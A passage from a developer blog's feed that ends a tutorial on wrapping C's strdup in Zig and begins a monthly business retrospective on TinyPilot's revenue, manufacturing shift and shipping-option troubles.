&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here is the output:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig run src/wrap-strdup.zig --library c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">s&lt;/span> = [hi] (&lt;span style="color:#40ffff">type&lt;/span>=*const [2:0]u8, &lt;span style="color:#40ffff">size&lt;/span>=3, &lt;span style="color:#40ffff">len&lt;/span>=2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">sCopy&lt;/span>= [hi] (&lt;span style="color:#40ffff">type&lt;/span>=[*:0]u8, &lt;span style="color:#40ffff">size&lt;/span>=8, &lt;span style="color:#40ffff">len&lt;/span>=2)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The output is pretty straightforward. &lt;code>s&lt;/code> and &lt;code>sCopy&lt;/code> are different variable types even though they contain the same data. That&amp;rsquo;s because &lt;code>sCopy&lt;/code> represents memory that C allocated, whereas &lt;code>s&lt;/code> represents memory that Zig allocated and manages.&lt;/p>
&lt;p>Zig reports that &lt;code>sCopy&lt;/code>&amp;rsquo;s size is &lt;code>8&lt;/code> because that&amp;rsquo;s the size of a pointer on a 64-bit system. Zig can&amp;rsquo;t tell me the size of the memory buffer because C allocated it and can&amp;rsquo;t communicate buffer size information to Zig.&lt;/p>
&lt;h3 id="improving-the-wrapper-with-zig-managed-buffers">Improving the wrapper with Zig-managed buffers&lt;/h3>
&lt;p>I was able to call C&amp;rsquo;s &lt;code>strdup&lt;/code> function from Zig, but my solution is a bit untidy. My Zig wrapper bleeds out its implementation details because it&amp;rsquo;s returning a slice of unknown length, and the caller has to free the buffer with &lt;code>std.c.free&lt;/code> instead of using a Zig-native memory allocator.&lt;/p>
&lt;p>What if I wanted to abstract away the C implementation details and make this look like a regular, native Zig function?&lt;/p>
&lt;p>Here&amp;rsquo;s a revision of my &lt;code>strdup&lt;/code> wrapper that allocates a Zig-native buffer and copies the resulting string into the new buffer:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strdup&lt;/span>(allocator:&lt;span style="color:#666"> &lt;/span>std.mem.Allocator,&lt;span style="color:#666"> &lt;/span>str:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>![:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cCopy:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cString.&lt;span style="color:#447fcf">strdup&lt;/span>(str)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.OutOfMemory;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>std.c.&lt;span style="color:#447fcf">free&lt;/span>(cCopy);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Create a Zig slice of the C buffer that&amp;#39;s length-aware.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>zCopy:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.mem.&lt;span style="color:#447fcf">span&lt;/span>(cCopy);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Allocate a new null-terminated Zig-managed slice and copy in the contents
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// of zCopy.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">dupeZ&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>zCopy);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There are a few changes between the original implementation and this revision.&lt;/p>
&lt;p>First, this function takes a &lt;code>std.mem.Allocator&lt;/code>, a Zig object that allocates memory. In Zig, you don&amp;rsquo;t just allocate memory whenever you feel like it by calling a global memory allocation function like you do in C. To avoid hidden memory allocations, functions accept a &lt;code>std.mem.Allocator&lt;/code> type, which makes it obvious to callers that the function might allocate memory.&lt;/p>
&lt;p>Next, instead of returning a C memory buffer and making it the caller&amp;rsquo;s responsibility to free in a non-standard way, the new &lt;code>strdup&lt;/code> implementation returns a regular Zig slice. Callers to &lt;code>strdup&lt;/code> are still responsible for freeing the slice, but they can do it the standard way with &lt;code>allocator.free&lt;/code>.&lt;/p>
&lt;p>The downside of this revision is that it&amp;rsquo;s slower than the previous version. I&amp;rsquo;m allocating and copying memory twice: once in C, and another time in Zig. If this were performance-critical code, perhaps I&amp;rsquo;d take the speedup by making the caller deal with the C array, but in general, I prefer to let Zig manage my memory.&lt;/p>
&lt;p>Here&amp;rsquo;s a complete example with the new wrapper implementation:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>std&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@import&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;std&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cString&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cImport&lt;/span>({&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cInclude&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;string.h&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strdup&lt;/span>(allocator:&lt;span style="color:#666"> &lt;/span>std.mem.Allocator,&lt;span style="color:#666"> &lt;/span>str:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>![:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cCopy:&lt;span style="color:#666"> &lt;/span>[*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>cString.&lt;span style="color:#447fcf">strdup&lt;/span>(str)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.OutOfMemory;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>std.c.&lt;span style="color:#447fcf">free&lt;/span>(cCopy);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>zCopy:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.mem.&lt;span style="color:#447fcf">span&lt;/span>(cCopy);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">dupeZ&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>zCopy);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>gpa&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.heap.&lt;span style="color:#447fcf">GeneralPurposeAllocator&lt;/span>(.{}){};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>gpa.&lt;span style="color:#447fcf">allocator&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>gpa.&lt;span style="color:#447fcf">deinit&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s = [{s}] (type={}, size={d}, len={d})&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>s,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@TypeOf&lt;/span>(s),&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@sizeOf&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(s.*)),&lt;span style="color:#666"> &lt;/span>s.len&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>sCopy&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strdup&lt;/span>(allocator,&lt;span style="color:#666"> &lt;/span>s);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">free&lt;/span>(sCopy);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;sCopy= [{s}] (type={}, size={d}, len={d})&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>sCopy,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@TypeOf&lt;/span>(sCopy),&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@sizeOf&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(sCopy)),&lt;span style="color:#666"> &lt;/span>sCopy.len&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig run src/wrap-strdup2.zig --library c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">s&lt;/span> = [hi] (&lt;span style="color:#40ffff">type&lt;/span>=*const [2:0]u8, &lt;span style="color:#40ffff">size&lt;/span>=3, &lt;span style="color:#40ffff">len&lt;/span>=2)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">sCopy&lt;/span>= [hi] (&lt;span style="color:#40ffff">type&lt;/span>=[:0]u8, &lt;span style="color:#40ffff">size&lt;/span>=16, &lt;span style="color:#40ffff">len&lt;/span>=2)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I can&amp;rsquo;t figure out why the size of &lt;code>sCopy&lt;/code> is 16. The size remains the same regardless of how many characters I store in the slice, but it reduces to &lt;code>size=8&lt;/code> if I run the same code on my 32-bit ARM Raspberry Pi.&lt;/p>
&lt;p>I know that &lt;code>s&lt;/code> is an array whose size Zig knows at compile time, whereas &lt;code>sCopy&lt;/code> is a slice whose size Zig doesn&amp;rsquo;t know until runtime. Still, Zig knows the length of the slice and should therefore know how many bytes it takes up, but I can&amp;rsquo;t figure out how to query that information.&lt;/p>
&lt;p>&lt;strong>Update&lt;/strong>: &lt;a href="https://www.reddit.com/user/paulstelian97">/u/paulstelian97&lt;/a> on reddit &lt;a href="https://www.reddit.com/r/Zig/comments/18j13tu/using_zig_to_call_c_code_strings/kdgx3df/">explains&lt;/a> that slices are &lt;a href="https://ziglang.org/documentation/0.11.0/#Pointers">&amp;ldquo;fat pointers,&amp;rdquo;&lt;/a> which contain a memory address and a length. Now I understand why it&amp;rsquo;s two times the size of a regular pointer, but I still don&amp;rsquo;t know how to ask Zig for the size of the slice in bytes.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;p>Zig makes it easy to pass strings into C code and receive string outputs from C.&lt;/p>
&lt;p>Zig&amp;rsquo;s type system is stronger than C, which allows developers to write Zig-native wrappers for C libraries, yielding more robust checks against memory corruption than is available in C.&lt;/p>
&lt;h2 id="further-reading">Further reading&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://www.huy.rocks/everyday/01-04-2022-zig-strings-in-5-minutes">Zig Strings in Five Minutes&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to &lt;a href="https://ziggit.dev/u/efjimm/summary">efjimm&lt;/a> for &lt;a href="https://ziggit.dev/t/using-zig-to-call-c-code-strings/2470/4?u=mtlynch">offering suggestions&lt;/a> that helped me simplify this solution.&lt;/em>&lt;/p></content:encoded></item><item><title>TinyPilot: Month 41</title><link>https://mtlynch.io/retrospectives/2023/12/</link><pubDate>Wed, 13 Dec 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/12/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I had a surprising amount of difficulty offering one-day shipping options.&lt;/li>
&lt;li>I attended the Handmade Seattle conference.&lt;/li>
&lt;li>I experimented with Zig and an open-source AI chatbot.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I had a surprising amount of difficulty offering one-day shipping options.&lt;/li>
&lt;li>I attended the Handmade Seattle conference.&lt;/li>
&lt;li>I experimented with Zig and an open-source AI chatbot.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="shift-manufacturing-to-our-contract-manufacturer-as-quickly-as-possible">Shift manufacturing to our contract manufacturer as quickly as possible&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The shift is now complete.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The manufacturer is now producing TinyPilot devices to the same quality as when we assembled them in-house. The manufacturer now ships the devices directly to our 3PL&amp;rsquo;s warehouse, which eliminates a strict need for TinyPilot to have its own office.&lt;/p>
&lt;h3 id="conduct-five-customer-outreach-calls">Conduct five customer outreach calls&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We reached out to three customers and had zero customer calls&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>In this case, I forgot to prioritize this. I lost almost two full weeks to conference and holiday travel, and the customer service team had lower bandwidth than usual. I should have followed up more with the team to prioritize this, as we need to continue investing here for the business&amp;rsquo; long-term sustainability.&lt;/p>
&lt;h3 id="clear-the-tinypilot-office-of-all-old-inventory-and-spare-parts">Clear the TinyPilot office of all old inventory and spare parts&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I decided to pause this process&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>It turns out our landlord is pretty relaxed about when we move out, so there&amp;rsquo;s less urgency to close the office than I thought. It&amp;rsquo;s also turning out to be harder than I expected to clear the office without just throwing everything in the trash. We have dozens of items that are worth $1-50 apiece, but we generally have only a handful of each.&lt;/p>
&lt;p>As an example, we have three used Arduino Uno boards. Each one retails for $28. We could maybe sell our three on eBay for a total of $30, but it would take about two hours to handle the process from end to end. So it would cost more in employee wages than we&amp;rsquo;d actually make selling the boards.&lt;/p>
&lt;p>My new plan is to wait until we&amp;rsquo;re close to moving out and advertise a time when people can come by and take what they want for free.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>October 2023&lt;/th>
 &lt;th>November 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>8,700&lt;/td>
 &lt;td>6,400&lt;/td>
 &lt;td>&lt;font color="red">-2,300 (-26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$98,896.81&lt;/td>
 &lt;td>$84,055.05&lt;/td>
 &lt;td>&lt;font color="red">-$14,841.76 (-15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,609.84&lt;/td>
 &lt;td>$2,824.46&lt;/td>
 &lt;td>&lt;font color="green">+$214.62 (+8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$101,797.35&lt;/td>
 &lt;td>$87,170.21&lt;/td>
 &lt;td>&lt;font color="red">-$14,627.14 (-14%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$69,280.58&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$5,407.96&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$74,688.54 (-inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Profit looks scary, but it&amp;rsquo;s just because transitioning to a contract manufacturer has made my expenses more &amp;ldquo;bursty.&amp;rdquo; In October, I didn&amp;rsquo;t have any bills for raw materials, but in November, I had $57k in raw materials expenses. I should really start reporting these as cost of goods sold, but for now, I&amp;rsquo;m just reporting the simple cash delta.&lt;/p>
&lt;p>$80-100k is TinyPilot&amp;rsquo;s normal revenue range, and we&amp;rsquo;re safely in there. I might have tried to take advantage of Black Friday / Cyber Monday, but we were low on inventory due to the manufacturing switch, so we didn&amp;rsquo;t have enough in stock to drop prices.&lt;/p>
&lt;h2 id="one-day-shipping-how-hard-could-it-be">One-day shipping: how hard could it be?&lt;/h2>
&lt;p>For most of TinyPilot&amp;rsquo;s life, we haven&amp;rsquo;t offered overnight or one-day shipping.&lt;/p>
&lt;p>When we were fulfilling orders in-house, we staffed our office six days per week to process orders, but only one person was there per day. I didn&amp;rsquo;t offer one-day shipping because I knew there&amp;rsquo;d be situations where someone&amp;rsquo;s out sick or on vacation, so a one-day turnaround wouldn&amp;rsquo;t be possible.&lt;/p>
&lt;p>When we switched fulfillment to a third-party logistics warehouse (3PL), our fragility around staffing went away. The 3PL has much more worker redundancy than we do, so orders should go out in one business day, no matter what.&lt;/p>
&lt;p>The switch to the 3PL meant that we were finally able to offer one-day shipping options!&lt;/p>
&lt;h3 id="the-complex-shipping-stack">The complex shipping stack&lt;/h3>
&lt;p>In switching to the 3PL, the logic for managing shipping options had gotten more complicated. The way we used to present TinyPilot customers with shipping options looked like this:&lt;/p>
&lt;ol>
&lt;li>I pick which shipping options I want Shopify to make available to customers.&lt;/li>
&lt;li>Customers pick a shipping option at checkout.&lt;/li>
&lt;li>We purchase postage from Shopify to match the customer&amp;rsquo;s shipping choice.&lt;/li>
&lt;/ol>
&lt;p>Under this system, Shopify controlled the experience end-to-end, and they did it well.&lt;/p>
&lt;p>Our 3PL uses a (not very good) warehouse management solution called ShipStation. That tool integrates with our Shopify store, so now the stack looks like this:&lt;/p>
&lt;ol>
&lt;li>ShipStation offers the 3PL a list of shipping options they support.&lt;/li>
&lt;li>The 3PL chooses from this list of shipping options they want to offer their client (TinyPilot).&lt;/li>
&lt;li>Shopify queries ShipStation to find out which shipping options ShipStation and the 3PL agree on.&lt;/li>
&lt;li>I pick from Shopify which shipping options I want to make available to customers.&lt;/li>
&lt;li>At checkout, ShipStation makes opaque guesses at which options are &amp;ldquo;best&amp;rdquo; for the customer and reduces the set of shipping options to just two or three.&lt;/li>
&lt;li>Customers pick a shipping option at checkout.&lt;/li>
&lt;li>The 3PL purchases postage from ShipStation or another vendor to match the customer&amp;rsquo;s shipping choice.&lt;/li>
&lt;/ol>
&lt;p>With so many players involved, there are tons of ways for things to go wrong and tons of opportunities for finger-pointing.&lt;/p>
&lt;p>I tried to enable one-day shipping, and I found that there weren&amp;rsquo;t any one-day options available by the time configuration bubbled from the 3PL to ShipStation to Shopify to me.&lt;/p>
